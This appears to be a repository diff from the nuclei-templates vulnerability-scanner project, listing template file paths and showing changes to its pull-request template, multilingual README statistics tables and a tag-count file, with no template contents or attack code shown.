http/exposed-panels/sangfor-iam-panel.yaml
|
||||
http/exposed-panels/sangfor-ngaf-panel.yaml
|
||||
http/exposed-panels/silver-peak-edgeconnect-panel.yaml
|
||||
http/exposed-panels/sma-opcon-panel.yaml
|
||||
http/exposed-panels/smoothwall-firewall-panel.yaml
|
||||
http/exposed-panels/sonicwall-analytics-panel.yaml
|
||||
http/exposed-panels/sophos-utm-panel.yaml
|
||||
http/exposed-panels/stormshield-network-security-panel.yaml
|
||||
http/exposed-panels/thegreenbowvpn-panel.yaml
|
||||
http/exposed-panels/trend-micro-deep-security-panel.yaml
|
||||
http/exposed-panels/ubiquiti-edgerouter-panel.yaml
|
||||
http/exposed-panels/unifi-securitygateway-panel.yaml
|
||||
http/exposed-panels/wg-easy-panel.yaml
|
||||
http/exposed-panels/zywall-usg-panel.yaml
|
||||
http/iot/openremote-detect.yaml
|
||||
http/misconfiguration/installer/ctrlpanel-installer.yaml
|
||||
http/misconfiguration/marimo-auth-bypass.yaml
|
||||
http/misconfiguration/seaweedfs-unauth.yaml
|
||||
http/takeovers/godaddy-parked-domain.yaml
|
||||
http/technologies/apache/bitnami-apache-solr.yaml
|
||||
http/technologies/google-iap-detect.yaml
|
||||
http/technologies/tibco-businessworks-detect.yaml
|
||||
http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
|
||||
http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
|
||||
http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
|
||||
javascript/cves/2025/CVE-2025-29635.yaml
|
||||
network/misconfig/open-socks-proxy.yaml
|
||||
code/cves/2024/CVE-2024-47575.yaml
|
||||
code/misconfiguration/dns-axfr-enabled.yaml
|
||||
http/cves/2018/CVE-2018-6882.yaml
|
||||
http/cves/2019/CVE-2019-11507.yaml
|
||||
http/cves/2021/CVE-2021-41419.yaml
|
||||
http/cves/2021/CVE-2021-45467.yaml
|
||||
http/cves/2022/CVE-2022-26143.yaml
|
||||
http/cves/2023/CVE-2023-2437.yaml
|
||||
http/cves/2023/CVE-2023-34048.yaml
|
||||
http/cves/2024/CVE-2024-0799.yaml
|
||||
http/cves/2024/CVE-2024-0801.yaml
|
||||
http/cves/2024/CVE-2024-10146.yaml
|
||||
http/cves/2024/CVE-2024-11238.yaml
|
||||
http/cves/2024/CVE-2024-27443.yaml
|
||||
http/cves/2024/CVE-2024-28623.yaml
|
||||
http/cves/2024/CVE-2024-4180.yaml
|
||||
http/cves/2024/CVE-2024-6690.yaml
|
||||
http/cves/2025/CVE-2025-1023.yaml
|
||||
http/cves/2025/CVE-2025-1302.yaml
|
||||
http/cves/2025/CVE-2025-24354.yaml
|
||||
http/cves/2025/CVE-2025-32429.yaml
|
||||
http/cves/2025/CVE-2025-41243.yaml
|
||||
http/cves/2025/CVE-2025-51482.yaml
|
||||
http/cves/2025/CVE-2025-52472.yaml
|
||||
http/cves/2025/CVE-2025-52665.yaml
|
||||
http/cves/2025/CVE-2025-54236.yaml
|
||||
http/cves/2025/CVE-2025-54253.yaml
|
||||
http/cves/2025/CVE-2025-55190.yaml
|
||||
http/cves/2025/CVE-2025-5605.yaml
|
||||
http/cves/2025/CVE-2025-58443.yaml
|
||||
http/cves/2025/CVE-2025-59287.yaml
|
||||
http/cves/2025/CVE-2025-6174.yaml
|
||||
http/cves/2025/CVE-2025-61884.yaml
|
||||
http/cves/2025/CVE-2025-6403.yaml
|
||||
http/cves/2025/CVE-2025-64095.yaml
|
||||
http/cves/2025/CVE-2025-9985.yaml
|
||||
http/default-logins/churchcrm/churchcrm-default-login.yaml
|
||||
http/exposed-panels/churchcrm-panel.yaml
|
||||
http/exposures/backups/generic-php-files.yaml
|
||||
http/misconfiguration/aem/aem-dispatcher-bypass.yaml
|
||||
http/misconfiguration/aem/aem-querybuilder-bypass.yaml
|
||||
http/misconfiguration/installer/churchcrm-installer.yaml
|
||||
http/misconfiguration/tomcat-snoop-servlet-exposed.yaml
|
||||
http/takeovers/mailgun-takeover.yaml
|
||||
http/vulnerabilities/generic/xss-uri-reflected.yaml
|
||||
http/vulnerabilities/unifi/unifi-create-user.yaml
|
||||
http/vulnerabilities/unifi/unifi-nfc-credentials.yaml
|
||||
javascript/cves/2019/CVE-2019-6443.yaml
|
||||
javascript/detection/ntp-version-detect.yaml
|
||||
javascript/misconfiguration/mqtt-uauth-broker.yaml
|
||||
javascript/udp/misconfiguration/ntp-enum-variables-enabled.yaml
|
||||
network/cves/2020/CVE-2020-14644.yaml
|
||||
network/cves/2024/CVE-2024-23108.yaml
|
||||
network/detection/rtl-tcp-server-detect.yaml
|
||||
+1
-4
@@ -36,7 +36,4 @@ files:
|
||||
- javascript/enumeration/redis/redis-require-auth.yaml
|
||||
- dast/vulnerabilities/sqli/time-based-sqli.yaml
|
||||
- javascript/enumeration/minecraft-enum.yaml
|
||||
- http/miscellaneous/crypto-address-detect.yaml
|
||||
- http/vulnerabilities/wp-functions-php-disclosure.yaml
|
||||
- dns/acme-challenge-detect.yaml
|
||||
- aaaa-fingerprint.yaml
|
||||
- javascript/enumeration/minecraft-enum.yaml
|
||||
@@ -1,4 +1,4 @@
|
||||
### PR Information
|
||||
### Template / PR Information
|
||||
|
||||
<!-- Explains the information and/or motivation for update or/ creating this templates -->
|
||||
<!-- Please include any reference to your template if available -->
|
||||
@@ -6,23 +6,23 @@
|
||||
- Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
|
||||
- References:
|
||||
|
||||
### Template validation
|
||||
### Template Validation
|
||||
|
||||
<!-- Clarifies if the valdation of the template was done on an actual system for which the template was developed -->
|
||||
<!-- If this concerns a vulnerability check, please clarify if validation was done on a known vulnerable system and optionally on a known not vulnerable system to avoid false positives -->
|
||||
I've validated this template locally?
|
||||
- [ ] YES
|
||||
- [ ] NO
|
||||
|
||||
- [ ] Validated with a host running a vulnerable version and/or configuration (True Positive)
|
||||
- [ ] Validated with a host running a patched version and/or configuration (avoid False Positive)
|
||||
|
||||
#### Additional Details (leave it blank if not applicable)
|
||||
|
||||
<!-- Include `nuclei -debug` output along with Shodan / Fofa / Google Query / Docker or screenshots if available -->
|
||||
<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
|
||||
<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
|
||||
<!-- Please do NOT include vulnerable host information in pull requests -->
|
||||
<!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
|
||||
|
||||
### Additional References:
|
||||
|
||||
- [Nuclei Template Creation Guideline](https://docs.projectdiscovery.io/templates/introduction)
|
||||
- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
|
||||
- [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
|
||||
- [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
|
||||
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
|
||||
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
|
||||
@@ -14,11 +14,11 @@ Nuclei Templates
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
|
||||
<a href="#-contributions">Contributions</a> •
|
||||
<a href="#-discussion">Discussion</a> •
|
||||
<a href="#-community">Community</a> •
|
||||
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
|
||||
</p>
|
||||
|
||||
@@ -36,38 +36,24 @@ An overview of the nuclei template project, including statistics on unique tags,
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
|
||||
|
||||
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
|
||||
|
||||
| **KEV Source** | **Templates** | **Description** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **454** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
|
||||
| 🟢 **Both Sources** | **407** | Templates covering vulnerabilities in both catalogs |
|
||||
|
||||
> 💡 **Total unique KEV templates: 1496** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
## Nuclei Templates Top 10 statistics
|
||||
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
| cve | 3288 | dhiyaneshdk | 1882 | http | 8967 | info | 4190 | file | 435 |
|
||||
| panel | 1342 | daffainfo | 868 | cloud | 657 | high | 2446 | dns | 26 |
|
||||
| xss | 1257 | princechaddha | 854 | file | 435 | medium | 2379 | | |
|
||||
| wordpress | 1181 | dwisiswant0 | 806 | dast | 255 | critical | 1425 | | |
|
||||
| exposure | 1107 | ritikchaddha | 649 | workflows | 202 | low | 318 | | |
|
||||
| wp-plugin | 1032 | pussycat0x | 532 | code | 198 | unknown | 56 | | |
|
||||
| osint | 841 | pikpikcu | 352 | network | 145 | | | | |
|
||||
| tech | 803 | pdteam | 310 | javascript | 71 | | | | |
|
||||
| rce | 786 | pdresearch | 269 | ssl | 38 | | | | |
|
||||
| lfi | 777 | iamnoooob | 257 | dns | 23 | | | | |
|
||||
|
||||
**873 directories, 11997 files**.
|
||||
**848 directories, 11344 files**.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
+15
-29
@@ -20,11 +20,11 @@ Nuclei 模板
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
|
||||
<a href="#-贡献">贡献</a> •
|
||||
<a href="#-交流">交流</a> •
|
||||
<a href="#-社区">社区</a> •
|
||||
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">加入Discord</a>
|
||||
</p>
|
||||
|
||||
@@ -42,38 +42,24 @@ Nuclei 模板
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
<td>
|
||||
|
||||
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
|
||||
|
||||
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
|
||||
|
||||
| **KEV 来源** | **模板数量** | **描述** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **454** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
|
||||
| 🟢 **两个来源** | **407** | 覆盖两个目录中漏洞的模板 |
|
||||
|
||||
> 💡 **唯一 KEV 模板总数: 1496** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
|
||||
|
||||
---
|
||||
|
||||
## Nuclei Templates Top 10 statistics
|
||||
## Nuclei模板TOP10统计信息
|
||||
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
| cve | 2877 | dhiyaneshdk | 1477 | http | 8219 | info | 3948 | file | 404 |
|
||||
| panel | 1246 | daffainfo | 866 | file | 404 | high | 2135 | dns | 25 |
|
||||
| wordpress | 1072 | dwisiswant0 | 803 | cloud | 370 | medium | 1840 | | |
|
||||
| exposure | 1006 | princechaddha | 570 | workflows | 192 | critical | 1197 | | |
|
||||
| xss | 987 | ritikchaddha | 496 | code | 157 | low | 287 | | |
|
||||
| wp-plugin | 936 | pussycat0x | 453 | network | 138 | unknown | 43 | | |
|
||||
| osint | 807 | pikpikcu | 353 | javascript | 65 | | | | |
|
||||
| tech | 745 | pdteam | 302 | ssl | 30 | | | | |
|
||||
| lfi | 727 | ricardomaia | 245 | dast | 26 | | | | |
|
||||
| misconfig | 720 | geeknik | 231 | dns | 22 | | | | |
|
||||
|
||||
**873 directories, 11997 files**.
|
||||
**743 directories, 9960 files**.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
+17
-31
@@ -11,11 +11,11 @@ Nuclei テンプレート
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
|
||||
<a href="#-contributions">貢献</a> •
|
||||
<a href="#-discussion">ディスカッション</a> •
|
||||
<a href="#-community">コミュニティ</a> •
|
||||
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
|
||||
</p>
|
||||
|
||||
@@ -37,38 +37,24 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
<td>
|
||||
|
||||
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
|
||||
## Nuclei テンプレート トップ10統計
|
||||
|
||||
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
|
||||
| タグ | 数 | 著者 | 数 | ディレクトリ | 数 | 重大度 | 数 | 種類 | 数 |
|
||||
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
|
||||
| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 |
|
||||
| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 |
|
||||
| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 |
|
||||
| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 |
|
||||
| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | |
|
||||
| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | |
|
||||
| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | |
|
||||
| rce | 319 | princechaddha | 149 | workflows | 187 | | | | |
|
||||
| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | |
|
||||
| tech | 286 | gy741 | 126 | file | 76 | | | | |
|
||||
|
||||
| **KEV ソース** | **テンプレート数** | **説明** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **454** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
|
||||
| 🟢 **両方のソース** | **407** | 両方のカタログの脆弱性をカバーするテンプレート |
|
||||
|
||||
> 💡 **ユニークKEVテンプレート総数: 1496** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
|
||||
|
||||
---
|
||||
|
||||
## Nuclei Templates Top 10 statistics
|
||||
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
|
||||
**873 directories, 11997 files**.
|
||||
**286個のディレクトリ、4012個のファイル**。
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
+17
-31
@@ -14,11 +14,11 @@ Nuclei 템플릿
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
|
||||
<a href="#-contributions">기여</a> •
|
||||
<a href="#-discussion">논의</a> •
|
||||
<a href="#-community">커뮤니티</a> •
|
||||
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">디스코드</a>
|
||||
</p>
|
||||
|
||||
@@ -31,7 +31,7 @@ Nuclei 템플릿
|
||||
|
||||
템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
|
||||
이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
|
||||
템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
|
||||
**pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)를 통해 템플릿을 보내주시는 기여도 환영합니다.
|
||||
|
||||
## Nuclei 템플릿 개요
|
||||
|
||||
@@ -39,38 +39,24 @@ Nuclei 템플릿
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
<td>
|
||||
|
||||
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
|
||||
## Nuclei 템플릿 통계 Top 10
|
||||
|
||||
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
|
||||
|
||||
| **KEV 소스** | **템플릿 수** | **설명** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **454** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
|
||||
| 🟢 **두 소스 모두** | **407** | 두 카탈로그의 취약점을 포함하는 템플릿 |
|
||||
|
||||
> 💡 **총 고유 KEV 템플릿: 1496** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
|
||||
|
||||
---
|
||||
|
||||
## Nuclei Templates Top 10 statistics
|
||||
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
| 태그 | 개수 | 작성자 | 개수 | 디렉토리 | 개수 | 심각도 | 개수 | 종류 | 개수 |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
| cve | 3288 | dhiyaneshdk | 1882 | http | 8967 | info | 4190 | file | 435 |
|
||||
| panel | 1342 | daffainfo | 868 | cloud | 657 | high | 2446 | dns | 26 |
|
||||
| xss | 1257 | princechaddha | 854 | file | 435 | medium | 2379 | | |
|
||||
| wordpress | 1181 | dwisiswant0 | 806 | dast | 255 | critical | 1425 | | |
|
||||
| exposure | 1107 | ritikchaddha | 649 | workflows | 202 | low | 318 | | |
|
||||
| wp-plugin | 1032 | pussycat0x | 532 | code | 198 | unknown | 56 | | |
|
||||
| osint | 841 | pikpikcu | 352 | network | 145 | | | | |
|
||||
| tech | 803 | pdteam | 310 | javascript | 71 | | | | |
|
||||
| rce | 786 | pdresearch | 269 | ssl | 38 | | | | |
|
||||
| lfi | 777 | iamnoooob | 257 | dns | 23 | | | | |
|
||||
|
||||
**873 directories, 11997 files**.
|
||||
**848개 디렉토리, 11344개 파일**.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
@@ -1 +1 @@
|
||||
{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
|
||||
{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{